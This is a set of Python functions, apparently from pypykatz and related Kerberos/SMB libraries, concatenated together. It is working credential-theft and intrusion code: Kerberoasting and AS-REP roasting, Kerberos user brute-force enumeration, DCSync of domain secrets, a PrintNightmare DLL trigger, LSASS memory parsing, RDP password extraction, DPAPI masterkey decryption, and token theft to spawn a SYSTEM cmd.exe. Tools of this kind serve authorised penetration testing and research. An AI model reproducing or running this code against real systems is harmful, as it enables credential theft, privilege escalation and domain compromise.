async def get_TGS(url, spn, out_file=None, override_etype=None): try: logger.debug('[KERBEROS][TGS] started') if isinstance(override_etype, int): override_etype = [override_etype] ku = KerberosClientURL.from_url(url) cred = ku.get_creds() target = ku.get_target() spn = KerberosSPN.from_user_email(spn) logger.debug('[KERBEROS][TGS] target user: %s' % spn.get_formatted_pname()) logger.debug('[KERBEROS][TGS] fetching TGT') kcomm = AIOKerberosClient(cred, target) await kcomm.get_TGT() logger.debug('[KERBEROS][TGS] fetching TGS') tgs, encTGSRepPart, key = await kcomm.get_TGS( spn, override_etype=override_etype) kirbi = tgt_to_kirbi(tgs, encTGSRepPart) if out_file is not None: with open(out_file, 'wb') as f: f.write(kirbi.dump()) logger.debug('[KERBEROS][TGS] done!') return tgs, encTGSRepPart, key, kirbi, None except Exception as e: return None, None, None, None, e
async def dcsync(url, username=None): from aiosmb.commons.connection.url import SMBConnectionURL from aiosmb.commons.interfaces.machine import SMBMachine smburl = SMBConnectionURL(url) connection = smburl.get_connection() users = [] if username is not None: users.append(username) async with connection: logger.debug('[DCSYNC] Connecting to server...') _, err = await connection.login() if err is not None: raise err logger.debug('[DCSYNC] Connected to server!') logger.debug('[DCSYNC] Running...') i = 0 async with SMBMachine(connection) as machine: async for secret, err in machine.dcsync(target_users=users): if err is not None: raise err i += 1 if i % 1000 == 0: logger.debug('[DCSYNC] Running... %s' % i) await asyncio.sleep(0) yield secret logger.debug('[DCSYNC] Finished!')
def create_process_for_sid(self, target_sid='S-1-5-18', cmdline='C:\\Windows\\system32\\cmd.exe', interactive=True): """ Creates a new process with the token of the target SID TODO: implement non-interactive functionality :( """ for token in self.get_token_for_sid( target_sid=target_sid, dwDesiredAccess=TOKEN_ALL_ACCESS, ImpersonationLevel=SecurityImpersonation, TokenType=TokenImpersonation): try: self.api.advapi32.CreateProcessWithToken_manip(token, cmdline) except Exception as e: logger.log( 1, 'Failed creating process with the token obtained. Reason: %s' % e) continue else: logger.debug( '[ProcessManipulator] Sucsessfully created process!') break
async def brute(host, targets, out_file=None, show_negatives=False): """ targets List<KerberosSPN> """ try: logger.debug('[KERBEROS][BRUTE] User enumeration starting') target = KerberosTarget(host) for spn in targets: ke = KerberosUserEnum(target, spn) result = await ke.run() if result is True: if out_file: with open(out_file, 'a') as f: f.write(result + '\r\n') else: print('[+] %s' % str(spn)) else: if show_negatives is True: print('[-] %s' % str(spn)) logger.info('[KERBEROS][BRUTE] User enumeration finished') return None, None except Exception as e: return None, e
def get_prekeys_form_registry_live(self): """ return: touple of two lists, [0] userkeys [1] machinekeys """ from pypykatz.registry.live_parser import LiveRegistry from pypykatz.registry.offline_parser import OffineRegistry lr = None try: lr = LiveRegistry.go_live() except Exception as e: logger.debug( '[DPAPI] Failed to obtain registry secrets via direct registry reading method' ) try: lr = OffineRegistry.from_live_system() except Exception as e: logger.debug( '[DPAPI] Failed to obtain registry secrets via filedump method' ) if lr is not None: return self.__get_registry_secrets(lr) else: raise Exception('Registry parsing failed!')
def get_all_masterkeys_live(self): try: self.get_all_keys_from_lsass_live() except: logger.debug('Failed to get masterkeys/prekeys from LSASS!') try: self.get_prekeys_form_registry_live() except Exception as e: logger.debug('Failed to get masterkeys/prekeys from registry!') mkfiles = DPAPI.find_masterkey_files_live() for guid in mkfiles: logger.debug( 'Decrypting masterkeyfile with guid: %s location: %s' % (guid, mkfiles[guid])) mk, bk = self.decrypt_masterkey_file(mkfiles[guid]) if len(mk) > 0 or len(bk) > 0: logger.debug( 'Decrypted masterkeyfile with guid: %s location: %s' % (guid, mkfiles[guid])) else: logger.debug( 'Failed to decrypt masterkeyfile with guid: %s location: %s' % (guid, mkfiles[guid])) return self.masterkeys, self.backupkeys
def get_all_keys_from_lsass_live(self): """ Parses the live LSASS process and extracts the plaintext masterkeys, and also generates prekeys from all available credentials It does not retun anything, just sets up all key material in the object return: None """ from pypykatz.pypykatz import pypykatz katz = pypykatz.go_live() sids = [katz.logon_sessions[x].sid for x in katz.logon_sessions] for x in katz.logon_sessions: for dc in katz.logon_sessions[x].dpapi_creds: logger.debug( '[DPAPI] Got masterkey for GUID %s via live LSASS method' % dc.key_guid) self.masterkeys[dc.key_guid] = bytes.fromhex(dc.masterkey) for package, _, _, nthex, lmhex, shahex, _, _, _, plaintext in katz.logon_sessions[ x].to_grep_rows(): if package.lower() == 'dpapi': continue sids = [katz.logon_sessions[x].sid] for sid in sids: if plaintext is not None: self.get_prekeys_from_password(sid, password=plaintext, nt_hash=None) if nthex is not None and len(nthex) == 32: self.get_prekeys_from_password(sid, password=None, nt_hash=nthex) if shahex is not None and len(shahex) == 40: self.prekeys[bytes.fromhex(shahex)] = 1
async def asreproast(host, targets, out_file=None, etype=23): """ targets List<KerberosSPN> """ try: logger.debug('[KERBEROS][ASREPROAST] Roasting...') logger.debug( '[KERBEROS][ASREPROAST] Supporting the following encryption type: %s' % (str(etype))) ks = KerberosTarget(host) ar = APREPRoast(ks) hashes = [] for target in targets: h = await ar.run(target, override_etype=[etype]) hashes.append(h) if out_file: with open(out_file, 'a', newline='') as f: for thash in hashes: f.write(thash + '\r\n') else: print(h) logger.info('[KERBEROS][ASREPROAST] Done!') return hashes, None except Exception as e: return None, e
def start(self, chunksize=10 * 1024): reader = self.reader.get_reader() handler = reader.get_handler() memory_segments = reader.get_memory() if self.upper_bound == -1: self.upper_bound = len(memory_segments) for idx, ms in enumerate(memory_segments): if idx > self.lower_bound and idx < self.upper_bound: x = [] for signature in self.decryptor_template.signatures: x += ms.search(signature, handler) for addr in x: addr += self.decryptor_template.offset self.reader.move(addr) try: cred = self.decryptor_template.cred_struct(self.reader) except Exception as e: logger.debug( 'Reading error! (this can be normal here) %s' % str(e)) continue self.add_entry(cred) if len(self.credentials) > 0 and self.find_first: return
def add_entry(self, rdpcred_entry): try: if rdpcred_entry.cbDomain <= 512 and rdpcred_entry.cbUsername <= 512 and rdpcred_entry.cbPassword <= 512 and rdpcred_entry.cbPassword > 0: domainame = rdpcred_entry.Domain[:rdpcred_entry. cbDomain].decode('utf-16-le') username = rdpcred_entry.UserName[:rdpcred_entry. cbUsername].decode( 'utf-16-le') password_raw = rdpcred_entry.Password[:rdpcred_entry. cbPassword] if self.sysinfo.buildnumber >= WindowsMinBuild.WIN_10.value: if self.process is None: raise Exception( 'Credentials found but they are encrypted!') password_raw = self.process.dpapi_memory_unprotect( rdpcred_entry.Password_addr, rdpcred_entry.cbPassword, 0) password = password_raw.decode('utf-16-le') else: password = password_raw.decode('utf-16-le') password_raw = password_raw.split(b'\x00\x00')[0] + b'\x00' cred = RDPCredential() cred.domainname = domainame cred.username = username cred.password = password cred.password_raw = password_raw self.credentials.append(cred) else: logger.debug('This RDPCred entry is garbage!') except Exception as e: logger.debug('RDP entry parsing error! Reason %s' % e)
def set_privilege(self, privilige_id, thread_or_process=False): """ Sets a given privilege """ logger.debug('[ProcessManipulator] Setting %s privilege' % privilige_id) return self.api.ntdll.RtlAdjustPrivilege( privilige_id, enable=True, thread_or_process=thread_or_process)
def list_services(self): logger.debug('Listing services with pid...') hsrvmgr = self.api.advapi32.OpenSCManager( dwDesiredAccess=SC_MANAGER_ENUMERATE_SERVICE) for serviceattr in self.api.advapi32.EnumServicesStatusEx(hsrvmgr): if serviceattr.ServiceStatusProcess.dwProcessId == 0: continue yield serviceattr.lpServiceName, serviceattr.lpDisplayName, serviceattr.ServiceStatusProcess.dwProcessId
def drop_privilege(self, privilige_id, thread_or_process=False): """ Drops the given privilege """ logger.debug('[ProcessManipulator] Dropping %s privilege' % privilige_id) self.api.ntdll.RtlAdjustPrivilege(privilige_id, enable=False, thread_or_process=thread_or_process)
async def find_signature(self): self.log('Looking for main struct signature in memory...') fl = await self.reader.find_in_module('lsasrv.dll', self.decryptor_template.key_pattern.signature, find_first = True) if len(fl) == 0: logger.debug('signature not found! %s' % self.decryptor_template.key_pattern.signature.hex()) raise Exception('LSA signature not found!') self.log('Found candidates on the following positions: %s' % ' '.join(hex(x) for x in fl)) self.log('Selecting first one @ 0x%08x' % fl[0]) return fl[0]
def list_all_tokens(self, force=False): """ iterates trough all available processes, fetches all process tokens, gets user information for all tokens """ logger.debug('[ProcessManipulator] Listing all tokens...') try: res = self.set_privilege(SE_DEBUG) except Exception as e: if force is False: logger.error('Failed to obtain SE_DEBUG privilege!') raise e else: pass token_infos = [] for pid in self.api.psapi.EnumProcesses(): proc_handle = None try: proc_handle = self.api.kernel32.OpenProcess( PROCESS_QUERY_INFORMATION, False, pid) logger.log( 1, '[ProcessManipulator] Proc handle for PID %s is: %s' % (proc_handle, pid)) except Exception as e: logger.log( 1, '[ProcessManipulator] Failed to open process pid %s Reason: %s' % (pid, str(e))) continue else: token_handle = None try: token_handle = self.api.advapi32.OpenProcessToken( proc_handle, TOKEN_MANIP_ACCESS) except Exception as e: logger.log( 1, '[ProcessManipulator] Failed get token from process pid %s Reason: %s' % (pid, str(e))) continue else: ti = self.get_token_info(token_handle, pid) token_infos.append(ti) finally: if token_handle is not None: self.api.kernel32.CloseHandle(token_handle) finally: if proc_handle is not None: self.api.kernel32.CloseHandle(proc_handle) return token_infos
def list_sessions(self): for luid in self.available_luids: try: session_info = LsaGetLogonSessionData(luid) print('USER "%s\\%s" SPN "%s" LUID %s' % (session_info.get('LogonDomain', '.'), session_info['UserName'], session_info['Upn'], hex(session_info['LogonId']))) except Exception as e: logger.debug('Failed to get info for LUID %s Reason: %s' % (luid, e)) continue
def list_users(self): logger.debug('Listing SIDs from registry...') software_hive = LiveRegistryHive('SOFTWARE') users = {} for sid_str in software_hive.enum_key( 'Microsoft\\Windows NT\\CurrentVersion\\ProfileList'): if sid_str.endswith('_Classes') or sid_str.startswith('.'): continue ptr_sid = self.api.advapi32.ConvertStringSidToSid(sid_str.encode()) name, domain, token_type = self.api.advapi32.LookupAccountSid( None, ptr_sid) users[sid_str] = User(name, domain, sid_str) return users
async def get_lsa_bruteforce(self): #good luck! logger.debug('Testing all available templates! Expect warnings!') for lsa_dec_template in LsaTemplate.get_template_brute(self.sysinfo): try: lsa_dec = LsaDecryptor.choose(self.reader, lsa_dec_template, self.sysinfo) await lsa_dec.acquire_crypto_material() lsa_dec.dump() except: pass else: logger.debug('Lucky you! Brutefoce method found a -probably- working template!') return lsa_dec
def decrypt_blob_bytes(self, data, key=None): """ Decrypts DPAPI_BLOB bytes. data: DPAPI_BLOB bytes returns: bytes of the cleartext data """ if self.use_winapi is True: from pypykatz.dpapi.functiondefs.dpapi import CryptUnprotectData return CryptUnprotectData(data) blob = DPAPI_BLOB.from_bytes(data) logger.debug(str(blob)) return self.decrypt_blob(blob, key=key)
def get_lsa(self): #trying with automatic template detection try: lsa_dec_template = LsaTemplate.get_template(self.sysinfo) lsa_dec = LsaDecryptor.choose(self.reader, lsa_dec_template, self.sysinfo) logger.debug(lsa_dec.dump()) except Exception as e: logger.debug('Failed to automatically detect correct LSA template! Reason: %s' % str(e)) lsa_dec = self.get_lsa_bruteforce() if lsa_dec is None: raise Exception('All detection methods failed.') return lsa_dec else: return lsa_dec
async def printnightmare(url, dll_path, driverpath=None): try: from aiosmb.commons.connection.url import SMBConnectionURL from aiosmb.commons.interfaces.machine import SMBMachine smburl = SMBConnectionURL(url) connection = smburl.get_connection() async with connection: logger.debug('[PRINTNIGHTMARE] Connecting to server...') _, err = await connection.login() if err is not None: raise err machine = SMBMachine(connection) logger.debug('[PRINTNIGHTMARE] Connected!') logger.debug('[PRINTNIGHTMARE] Triggering printnightmare...') _, err = await machine.printnightmare(dll_path, driverpath) if err is not None: raise err logger.debug('[PRINTNIGHTMARE] Printnightmare finished OK!') return True, None except Exception as e: import traceback traceback.print_exc() return None, e
def assign_token_thread_sid(self, target_sid = 'S-1-5-18'): """ assigns the token to the thread specified by threadid, if threadid is none then it will use the current thread """ for token in self.get_token_for_sid(target_sid = target_sid, dwDesiredAccess = TOKEN_QUERY | TOKEN_IMPERSONATE, ImpersonationLevel = SecurityDelegation, TokenType = TokenImpersonation): logger.debug('[ProcessManipulator] Setting token to current thread...') try: self.api.advapi32.SetThreadToken(token) except Exception as e: logger.log(1, 'Failed changing the thread token. Reason: %s' % e) continue else: logger.debug('[ProcessManipulator] Sucsessfully set token to current thread!') break
def get_token_for_sid(self, target_sid = 'S-1-5-18', dwDesiredAccess = TOKEN_ALL_ACCESS, ImpersonationLevel = SecurityImpersonation, TokenType = SecurityImpersonation): """ iterates trough all available processes, fetches all process tokens, checks if sid matches for token, duplicates it and yields them also leaks a lot of handles, probably should be cleaned up TODO """ #LookupAccountSidA try: self.set_privilege(SE_DEBUG) except Exception as e: logger.error('Failed to obtain SE_DEBUG privilege!') raise e token_infos = [] for pid in self.api.psapi.EnumProcesses(): proc_handle = None try: proc_handle = self.api.kernel32.OpenProcess(PROCESS_QUERY_INFORMATION, False, pid) logger.log(1, '[ProcessManipulator] Proc handle for PID %s is: %s' % (proc_handle, pid)) except Exception as e: logger.log(1, '[ProcessManipulator] Failed to open process pid %s Reason: %s' % (pid, str(e))) continue else: token_handle = None try: token_handle = self.api.advapi32.OpenProcessToken(proc_handle, TOKEN_MANIP_ACCESS) except Exception as e: logger.log(1, '[ProcessManipulator] Failed get token from process pid %s Reason: %s' % (pid, str(e))) continue else: ptr_sid = self.api.advapi32.GetTokenInformation_sid(token_handle) sid_str = self.api.advapi32.ConvertSidToStringSid(ptr_sid) if sid_str == target_sid: logger.debug('[ProcessManipulator] Found token with target sid!') cloned_token = self.api.advapi32.DuplicateTokenEx( token_handle, dwDesiredAccess = dwDesiredAccess, ImpersonationLevel = ImpersonationLevel, TokenType = TokenType ) yield cloned_token finally: if token_handle is not None: self.api.kernel32.CloseHandle(token_handle) finally: if proc_handle is not None: self.api.kernel32.CloseHandle(proc_handle)
def dpapi_trustedcredman(target_pid, special_process='winlogon.exe', temp_file_path=None): dec_data = None try: if temp_file_path is None: tf = tempfile.NamedTemporaryFile(delete=False) temp_file_path = tf.name logger.debug('Temp file path: %s' % temp_file_path) tf.close() enable_debug_privilege() ### opening winlogon and duplicating token, impersonating it, enabling SeTrustedCredmanAccessPrivilege pwinlogon = Process(name=special_process, access=PROCESS_QUERY_LIMITED_INFORMATION, open=True) winlogon_token = pwinlogon.duplicate_token() SetThreadToken(winlogon_token) RtlAdjustPrivilege( 31, thread_or_process=True) #SeTrustedCredmanAccessPrivilege = 31 ### opening target process, getting handle on its token puserprocess = Process(pid=target_pid, access=PROCESS_QUERY_LIMITED_INFORMATION, open=True) puserprocess_token = puserprocess.get_process_token() ### magic happens here CredBackupCredentials(puserprocess_token, temp_file_path) ### opening encrypted cerentials file and decrypting it with open(temp_file_path, 'rb') as f: dec_data = CryptUnprotectData(f.read()) ### parsing decrypted credfile results = [] xf = CredentialFile.from_bytes(dec_data) blobsdata = xf.data if xf.unk == 2: res = CREDENTIAL_BLOB.from_bytes(blobsdata) results.append(res) blobsdata = blobsdata[res.size:] while len(blobsdata) > 0: res = CREDENTIAL_BLOB.from_bytes(blobsdata) results.append(res) blobsdata = blobsdata[res.size:] return dec_data, results, None except Exception as e: logger.debug('dpapi_trustedcredman err! %s' % e) return dec_data, None, e finally: try: os.unlink(temp_file_path) logger.debug('Temp file removed') except Exception as e: logger.debug('Failed to remove temp file! %s' % str(e)) pass
def decrypt_masterkey_bytes(self, data, key=None): """ Decrypts Masterkeyfile bytes data: bytearray of the masterkeyfile key: bytes describing the key used for decryption returns: touple of dictionaries. [0] - > masterkey[guid] = key, [1] - > backupkey[guid] = key """ mkf = MasterKeyFile.from_bytes(data) mks = {} bks = {} if mkf.masterkey is not None: if mkf.guid in self.masterkeys: mks[mkf.guid] = self.masterkeys[mkf.guid] else: for user_key in self.prekeys: dec_key = mkf.masterkey.decrypt(user_key) if dec_key: logger.debug('user key win: %s' % user_key.hex()) self.masterkeys[mkf.guid] = dec_key mks[mkf.guid] = dec_key break if key is not None: dec_key = mkf.masterkey.decrypt(key) if dec_key: self.masterkeys[mkf.guid] = dec_key mks[mkf.guid] = dec_key if mkf.backupkey is not None: if mkf.guid in self.masterkeys: mks[mkf.guid] = self.masterkeys[mkf.guid] else: for user_key in self.prekeys: dec_key = mkf.backupkey.decrypt(user_key) if dec_key: self.backupkeys[mkf.guid] = dec_key bks[mkf.guid] = dec_key break if key is not None: dec_key = mkf.backupkey.decrypt(key) if dec_key: self.masterkeys[mkf.guid] = dec_key bks[mkf.guid] = dec_key return mks, bks
def get_masterkeys_from_lsass_live(self): """ Parses the live LSASS process and extracts the plaintext masterkeys return: dictionary of guid->keybytes """ from pypykatz.pypykatz import pypykatz katz = pypykatz.go_live() for x in katz.logon_sessions: for dc in katz.logon_sessions[x].dpapi_creds: logger.debug( '[DPAPI] Got masterkey for GUID %s via live LSASS method' % dc.key_guid) self.masterkeys[dc.key_guid] = bytes.fromhex(dc.masterkey) return self.masterkeys
def start(self): for signature in self.decryptor_template.signatures: x = self.reader.find_all_global(signature) if len(x) == 0: logger.debug('No RDP credentials found!') return for addr in x: addr += self.decryptor_template.offset self.reader.move(addr) #print(hexdump(self.reader.peek(0x100))) try: cred = self.decryptor_template.cred_struct(self.reader) except Exception as e: logger.debug( 'Reading error! (this can be normal here) %s' % str(e)) continue self.add_entry(cred)
def get_masterkeys_from_lsass_dump(self, file_path): """ Parses the mindiump of an LSASS process file and extracts the plaintext masterkeys file_path: path to the mindiump file return: dictionary of guid->keybytes """ from pypykatz.pypykatz import pypykatz katz = pypykatz.parse_minidump_file(file_path) for x in katz.logon_sessions: for dc in katz.logon_sessions[x].dpapi_creds: logger.debug( '[DPAPI] Got masterkey for GUID %s via minidump LSASS method' % dc.key_guid) self.masterkeys[dc.key_guid] = bytes.fromhex(dc.masterkey) return self.masterkeys
def run(self): while True: target = self.inQ.get() if not target: break if self.pre_check is True: if is_port_up(target, 445, timeout=self.timeout) is False: continue try: for groupname in self.groups: for group in NetLocalGroupGetMembers(target, groupname, level=2): self.outQ.put((target, groupname, group)) except Exception as e: logger.debug('LocalGroupEnumThread error: %s' % str(e)) continue
def decrypt_blob(self, dpapi_blob, key=None): """ Decrypts a DPAPI_BLOB object The DPAPI blob has a GUID attributes which indicates the masterkey to be used, also it has integrity check bytes so it is possible to tell is decryption was sucsessfull. dpapi_blob: DPAPI_BLOB object key: raw bytes of the decryption key. If not supplied the function will look for keys already cached in the DPAPI object. returns: bytes of the cleartext data """ if key is None: logger.debug('[DPAPI] Looking for master key with GUID %s' % dpapi_blob.masterkey_guid) if dpapi_blob.masterkey_guid not in self.masterkeys: raise Exception( 'No matching masterkey was found for the blob!') key = self.masterkeys[dpapi_blob.masterkey_guid] return dpapi_blob.decrypt(key)